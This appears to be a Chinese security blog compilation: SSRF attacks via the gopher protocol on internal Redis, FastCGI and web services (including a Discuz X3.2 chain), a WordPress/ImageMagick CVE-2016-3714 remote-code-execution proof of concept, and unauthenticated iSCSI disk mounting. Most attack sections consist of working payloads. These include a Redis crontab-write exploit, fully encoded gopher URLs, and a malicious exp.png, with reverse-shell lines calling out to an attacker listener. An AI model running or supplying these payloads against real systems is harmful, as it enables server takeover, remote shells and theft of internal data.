利用 gopher 协议拓展攻击面
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
攻击面测试
环境
- IP: 172.19.23.218
- OS: CentOS 6
根目录下 1.php 内容为:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
?>
攻击内网 Redis
Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。
首先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议。常见的 exp 是这样的:
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
利用这个脚本攻击自身并抓包得到数据流:
改成适配于 Gopher 协议的 URL:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
攻击:
攻击 FastCGI
一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。
首先构造 exp:
构造 Gopher 协议的 URL:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
攻击:
攻击内网 Vulnerability Web
Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。
一个只能 127.0.0.1 访问的 exp.php,内容为:
<?php system($_POST[e]);?>
利用方式:
POST /exp.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 49
Content-Type: application/x-www-form-urlencoded
e=bash -i >%26 /dev/tcp/172.19.23.228/2333 0>%261
构造 Gopher 协议的 URL:
gopher://127.0.0.1:80/_POST /exp.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null
攻击:
攻击实例
利用 Discuz SSRF 攻击 FastCGI
Discuz X3.2 存在 SSRF 漏洞,当服务器开启了 Gopher wrapper 时,可以进行一系列的攻击。
首先根据 phpinfo 确定开启了 Gopher wrapper,且确定 Web 目录、PHP 运行方式为 FastCGI。
测试 Gopher 协议是否可用,请求:
http://127.0.0.1:8899/forum.php?mod=ajax&action=downremoteimg&message=%5Bimg%3D1%2C1%5Dhttp%3A%2f%2f127.0.0.1%3A9999%2fgopher.php%3Fa.jpg%5B%2fimg%5D
其中 gopher.php 内容为:
<?php
header("Location: gopher://127.0.0.1:2333/_test");
?>
监听 2333 端口,访问上述 URL 即可验证:
构造 FastCGI 的 Exp:
<?php
header("Location: gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/127.0.0.1/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00");
?>
请求:
http://127.0.0.1:8899/forum.php?mod=ajax&action=downremoteimg&message=%5Bimg%3D1%2C1%5Dhttp%3A%2f%2f127.0.0.1%3A9999%2f1.php%3Fa.jpg%5B%2fimg%5D
即可在 2333 端口上收到反弹的 shell:
攻击视频:
点我喵
系统局限性
经过测试发现 Gopher 的以下几点局限性:
- 大部分 PHP 并不会开启 fopen 的 gopher wrapper
- file_get_contents 的 gopher 协议不能 URLencode
- file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
- PHP 的 curl 默认不 follow 302 跳转
- curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
更多有待补充。
另外,并不限于 PHP 的 SSRF。当存在 XXE、ffmepg SSRF 等漏洞的时候,也可以进行利用。
更多攻击面
基于 TCP Stream 且不做交互的点都可以进行攻击利用,包括但不限于:
- HTTP GET/POST
- Redis
- Memcache
- SMTP
- Telnet
- 基于一个 TCP 包的 exploit
- FTP(不能实现上传下载文件,但是在有回显的情况下可用于爆破内网 FTP)
更多有待补充。
参考
Write Up: Remote Command Execute in Wordpress 4.5.1
蚊子
嗡嗡嗡。
ImageMagick
ImageMagick 昨天曝出 CVE-2016-3714,Java、PHP 的库也受其影响。其中 PHP 的库 Imagick 应用广泛,波及也大。Wordpress 也就是受此漏洞影响出现了 RCE。
这个漏洞很蠢,ImageMagick 在 MagickCore/constitute.c 的 ReadImage 函数中解析图片,如果图片地址是 https://
开头的,即调用 InvokeDelegate。
MagickCore/delegate.c 定义了委托,第 99 行定义了要执行的命令。
最终 InvokeDelegate 调用 ExternalDelegateCommand 执行命令。
MagickCore/delegate.c
为了让大家更清楚的看见:
当时我就这个表情..
至此,一个命令注入就形成了。
Wordpress
Wordpress 在图像处理的时候默认优先选择 Imagick Library。
wp-includes/media.php:_wp_image_editor_choose
如果能找到一个点,调用了 Imagick 类的话,那么就可以进行命令执行。
wp-includes/media.php:wp_get_image_editor
这个函数实例化了 WP_Image_Editor_Imagick 类。全局 grep 一下 wp_get_image_editor
可以发现几处调用的地方,比如wp_crop_image
。
wp-admin/includes/image.php:wp_crop_image
这样寻找调用这个函数的地方就好了。
像呆子不开口那样扶了扶镜框,找到一个。要求的最小权限是 Author。
不是 Unauthorized 就可以利用的 RCE,真是难过啊..
PoC
用 Author 权限账号登陆,发表文章,插入 Media。
上传另外一个正常格式的文件:
记住 post_id,我这个为 101。
再上传 exp.png,内容为:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/127.0.0.1/2333 0>&1")'
pop graphic-context
这个的 post_id 为 102。
接着点击我们正常的那个图片,选择编辑:
然后点 Edit Origin。进去打开控制台,随便做一些操作后抓包拿到请求的 URL。直接 Copy as cURL 就好了。
再点击坏掉的图片-Edit-Edit Origin,抓包看到请求的 admin-ajax.php,拿出 _ajax_nonce。最后改掉之前 Copy as cURL 内的 _ajax_nonce 和 post_id,下图划框框的地方是要改的地方。
回车——啊——
shell 已经躺好了。
End
大晚上不睡觉写文章,主要是因为蚊子太闹了。
哎,难过的无以复加,女票还不在。
话说步骤这么麻烦,能不能写个 exploit 自动化呢?答案是肯定的。
那么 exp 呢?懒得写了...(
求聚聚写好了分我一份 QWQ
Hacking iSCSI
前几日看到入侵 Hacking Team 的文章,其中最大的一个突破口就是 iSCSI 未授权访问。那么,什么是 iSCSI,又如何在内网渗透的时候利用 iSCSI 获取敏感信息?于是嗯哼,做笔记呗..
PS: 虽然题目起了一个 Hacking iSCSI,但是实际上就是一个未授权访问而已。
如果有兴趣可以了解一下什么是 SCSI 协议,以及什么是 iSCSI。
0x00
服务端
IP: 10.211.55.18
OS: Ubuntu
为了减少水表几率,我还是一个内网的 iSCSI 环境比较好。
首先安装 iscsitarget:
apt-get install iscsitarget
修改 /etc/default/iscsitarget:
# cat /etc/default/iscsitarget
ISCSITARGET_ENABLE=true
ISCSITARGET_MAX_SLEEP=3
# ietd options
# See ietd(8) for details
ISCSITARGET_OPTIONS=""
修改 /etc/iet/ietd.conf:
Target iqn.2016-04.local.test:storage
Lun 1 Path=/dev/sda,Type=fileio,ScsiId=lun1,ScsiSN=lun1
接着重启服务:
# service iscsitarget restart
* Removing iSCSI enterprise target devices: [ OK ]
* Starting iSCSI enterprise target service [ OK ]
运行 netstat -anp | grep 3260 发现已经开启服务了。
# netstat -anp | grep 3260
tcp 0 0 0.0.0.0:3260 0.0.0.0:* LISTEN 7265/ietd
tcp6 0 0 :::3260 :::* LISTEN 7265/ietd
客户端
IP: 10.211.55.20
OS: CentOS
安装 scsi-target-utils:
yum install scsi-target-utils
0x01
以下为过程:
[root@localhost yum.repos.d]# nmap 10.211.55.18 -p3260
Starting Nmap 5.51 ( http://nmap.org ) at 2016-04-21 19:03 HKT
Nmap scan report for 10.211.55.18
Host is up (0.00031s latency).
PORT STATE SERVICE
3260/tcp open iscsi
MAC Address: 00:1C:42:D8:D3:48 (Parallels)
Nmap done: 1 IP address (1 host up) scanned in 13.42 seconds
发现已经开始 3260 端口,接着用 iscsiadm -m discovery
获取 iqn(iSCSI Qualified Name)。
[root@localhost tmp]# iscsiadm -m discovery -t sendtargets -p 10.211.55.18
10.211.55.18:3260,1 iqn.2016-04.local.test:storage
利用 iscsiadm 挂载:
[root@localhost yum.repos.d]# iscsiadm -m node -T iqn.2016-04.local.test:storage -p 10.211.55.18 -l
Logging in to [iface: default, target: iqn.2016-04.local.test:storage, portal: 10.211.55.18,3260] (multiple)
Login to [iface: default, target: iqn.2016-04.local.test:storage, portal: 10.211.55.18,3260] successful.
fdisk -l 检测是否已经存在:
[root@localhost yum.repos.d]# fdisk -l
...
Disk /dev/sdb: 68.7 GB, 68719476736 bytes <-- HERE!
255 heads, 63 sectors/track, 8354 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x0009be13
Device Boot Start End Blocks Id System
/dev/sdb1 * 1 8225 66059264 83 Linux
/dev/sdb2 8225 8355 1046529 5 Extended
/dev/sdb5 8225 8355 1046528 82 Linux swap / Solaris
[root@localhost yum.repos.d]#
接着挂载:
[root@localhost tmp]# mkdir /tmp/test
[root@localhost tmp]# mount /dev/sdb1 /tmp/test/
[root@localhost tmp]# cd /tmp/test/etc
[root@localhost tmp]# cat issue
Ubuntu 12.04.5 LTS \n \l
发现已经挂在了 Ubuntu 的硬盘。
如上所示,如果在内网中发现开启的 3260 端口,可以尝试挂载其硬盘。可以获取很多敏感信息。其中 Hacking Team 就是因为泄露了邮件服务器导致 boom。